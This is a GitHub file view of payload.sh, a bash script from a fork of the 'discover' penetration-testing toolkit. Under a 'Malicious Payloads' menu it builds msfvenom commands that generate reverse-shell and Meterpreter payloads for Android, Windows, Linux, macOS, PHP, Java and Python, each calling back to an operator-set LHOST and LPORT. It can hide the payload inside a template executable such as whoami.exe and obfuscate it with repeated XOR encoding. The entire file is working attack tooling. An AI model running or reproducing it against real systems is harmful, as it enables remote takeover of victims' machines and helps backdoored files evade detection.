forked from leebaird/discover
-
Notifications
You must be signed in to change notification settings - Fork 0
/
payload.sh
executable file
·204 lines (183 loc) · 5.18 KB
/
payload.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#!/usr/bin/bash
clear
f_banner
f_format(){
echo
echo -e "${BLUE}Formats${NC}"
echo
echo '1. aspx'
echo '2. c'
echo '3. csharp'
echo '4. exe'
echo '5. psh'
echo '6. raw'
echo
echo -n "Choice: "
read choice2
case $choice2 in
1) extention=".aspx"
format="aspx";;
2) extention=".c"
format="c";;
3) extention=".cs"
format="csharp";;
4) extention=".exe"
format="exe";;
5) extention=".ps1"
format="psh";;
6) extention=".bin"
format="raw";;
*) f_error;;
esac
}
echo -e "${BLUE}Malicious Payloads${NC}"
echo
echo "1. android/meterpreter/reverse_tcp (.apk)"
echo "2. cmd/windows/reverse_powershell (.bat)"
echo "3. java/jsp_shell_reverse_tcp (Linux) (.jsp)"
echo "4. java/jsp_shell_reverse_tcp (Windows) (.jsp)"
echo "5. java/shell_reverse_tcp (.war)"
echo "6. linux/x64/meterpreter_reverse_https (.elf)"
echo "7. linux/x64/meterpreter_reverse_tcp (.elf)"
echo "8. linux/x64/shell/reverse_tcp (.elf)"
echo "9. osx/x64/meterpreter_reverse_https (.macho)"
echo "10. osx/x64/meterpreter_reverse_tcp (.macho)"
echo "11. php/meterpreter_reverse_tcp (.php)"
echo "12. python/meterpreter_reverse_https (.py)"
echo "13. python/meterpreter_reverse_tcp (.py)"
echo "14. windows/x64/meterpreter_reverse_https (multi)"
echo "15. windows/x64/meterpreter_reverse_tcp (multi)"
echo "16. Previous menu"
echo
echo -n "Choice: "
read choice
case $choice in
1) payload="android/meterpreter/reverse_tcp"
extention=".apk"
format="raw"
arch="dalvik"
platform="android";;
2) payload="cmd/windows/reverse_powershell"
extention=".bat"
format="raw"
arch="cmd"
platform="windows";;
3) payload="java/jsp_shell_reverse_tcp"
extention=".jsp"
format="raw"
arch="elf"
platform="linux";;
4) payload="java/jsp_shell_reverse_tcp"
extention=".jsp"
format="raw"
arch="cmd"
platform="windows";;
5) payload="java/shell_reverse_tcp"
extention=".war"
format="war"
arch="x64"
platform="linux";;
6) payload="linux/x64/meterpreter_reverse_https"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
7) payload="linux/x64/meterpreter_reverse_tcp"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
8) payload="linux/x64/shell/reverse_tcp"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
9) payload="osx/x64/meterpreter_reverse_https"
extention=".macho"
format="macho"
arch="x64"
platform="osx";;
10) payload="osx/x64/meterpreter_reverse_tcp"
extention=".macho"
format="macho"
arch="x64"
platform="osx";;
11) payload="php/meterpreter_reverse_tcp"
extention=".php"
format="raw"
arch="php"
platform="php"
encoder="php/base64";;
12) payload="python/meterpreter_reverse_https"
extention=".py"
format="raw"
arch="python"
platform="python";;
13) payload="python/meterpreter_reverse_tcp"
extention=".py"
format="raw"
arch="python"
platform="python";;
14) payload="windows/x64/meterpreter_reverse_https"
arch="x64"
platform="windows"
f_format;;
15) payload="windows/x64/meterpreter_reverse_tcp"
arch="x64"
platform="windows"
f_format;;
16) f_main;;
*) f_error;;
esac
echo
echo -n "LHOST: "
read lhost
# Check for no answer
if [ -z $lhost ]; then
lhost=$ip
echo "[*] Using $ip"
echo
fi
echo -n "LPORT: "
read lport
# Check for no answer.
if [ -z $lport ]; then
lport=443
echo "[*] Using 443"
echo
fi
# Check for valid port number.
if [[ $lport -lt 1 || $lport -gt 65535 ]]; then
f_error
fi
echo -n "Iterations: "
read iterations
# Check for no answer.
if [ -z $iterations ]; then
iterations=1
echo "[*] Using 1"
fi
# Check for valid number that is reasonable.
if [[ $iterations -lt 0 || $iterations -gt 20 ]]; then
f_error
fi
x=$(echo $payload | sed 's/\//-/g')
echo
echo -n "Use a template file? (y/N) "
read answer
if [ "$answer" == "y" ]; then
echo -n "Enter the path to the file (default whoami.exe): "
read template
if [ -z $template ]; then
template=/usr/share/windows-resources/binaries/whoami.exe
echo '[*] Using /usr/share/windows-resources/binaries/whoami.exe'
fi
if [ ! -f $template ]; then
f_error
fi
echo
msfvenom -p $payload LHOST=$lhost LPORT=$lport -f $format -a $arch --platform $platform -x $template -e x64/xor_dynamic -i $iterations -o $home/data/$x-$lport-$iterations$extention
else
echo
msfvenom -p $payload LHOST=$lhost LPORT=$lport -f $format -a $arch --platform $platform -e x64/xor_dynamic -i $iterations -o $home/data/$x-$lport-$iterations$extention
fi